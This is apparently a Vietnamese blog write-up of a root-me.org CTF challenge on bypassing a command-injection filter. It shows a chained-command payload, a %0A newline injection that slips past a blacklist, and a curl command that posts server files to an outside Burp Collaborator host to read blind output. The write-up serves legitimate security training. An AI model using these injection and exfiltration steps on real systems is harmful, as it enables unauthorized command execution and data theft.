This page looks best with JavaScript enabled

Command injection - Filter bypass | root-me.org

 ·  ☕ 3 min read  ·  🤖 ch1nhpd

Chào mừng các bạn đến với challenge lần này. Link mình để ở đây nhé! Cùng bắt đầu ngay nàooo

InTr0

Nếu bạn nào là làm phần 1 thì có thể nhận ra ngay là bài này sẽ cho ta nhập vào một ip sau đó thực hiện ping tới ip đó rồi cho ta kết quả. Ở phần 1 thì đơn giản là ta chỉ cần nối thêm một lệnh khác vào là có thể lấy được flag ngay

127.0.0.1 && cat index.php

Nhưng bài này ở một level cao hơn. Khi ta thử nhập chính xác 1 ip vào thì kết quả trả về chỉ là một dòng thông báo là đã ping thành công.
Hơn thế nữa, khi ta inject command như ở phần 1 thì có thông báo syntax error. Thử một đổi & thành | hoặc ; nhưng cũng vẫn syntax error. Có thể hiểu đơn giản là ở đây đã có filter để ngăn không cho inject command và không hiển thị kết quả trực tiếp của dòng lệnh.

Bypass filter

Để bypass được filter thì ta nghĩ ngay đến Command Injection Payload List
ở đây đã cung cấp sẵn cho mình một số payload để có thể bypass được filter. Việc của mình là bật Burp Suite lên và brute-force.
img1

Như bạn có thể thấy, khi dùng %0A ta có thể inject command. Hiểu đơn giản thì %0A là một kí tự tương tự khi ta bấm ENTER (để xuống dòng). Vì vậy ta có thể thêm các lệnh khác vào sau đó để thực hiện tiếp.

Sau khi bypass được filter thì ta có thể tạm hiểu là server đã dùng một black list để chặn không cho ta nhập một số kí tự đặc biệt để inject command. Và ở trường hợp này ta có thể chắc chắn rằng một trong số kí tự trong black list đó là &. Còn % thì lại không nằm trong black list đó nên câu lệnh của ta mới được chấp nhận và thực hiện.

Blind Injection

Vấn đề bây giờ là khi run được command rồi nhưng kết quả lại không hiện ra. Để giải quyết thì chỉ có cách là gửi cái kết quả đó đến một chỗ khác - nơi mà mình có thể đọc được.
Ban đầu mình có thấy một request như sau:

img2
Mình thử ghi kết quả lên file ./includes/logs/app_access.log nhưng ghi được hay không còn chưa biết mà server cứ time-out mãi thôi :(

Sau một hồi loay hoay thì mới nhớ ra ông Burp Collaborator Client.

curl -X POST -F file=@index.php http://xxx.burpcollaborator.net

Oke vào check và thấy flag nằm trong file .passwd chứ không phải index.php

img3

Vậy là đã hết nửa buổi rồi, lấy flag thôi…
Hẹn gặp lại các bạn ở challenge tiếp theo <3

Share on

Phạm Đăng Chính
WRITTEN BY
ch1nhpd
Developer, Pentester